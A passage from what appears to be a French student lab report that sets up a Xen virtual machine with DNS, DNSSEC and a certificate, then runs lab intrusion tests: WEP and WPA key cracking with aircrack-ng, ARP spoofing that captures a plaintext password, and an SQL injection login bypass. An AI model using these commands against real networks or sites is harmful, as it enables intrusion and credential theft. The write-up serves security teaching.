 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin.&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
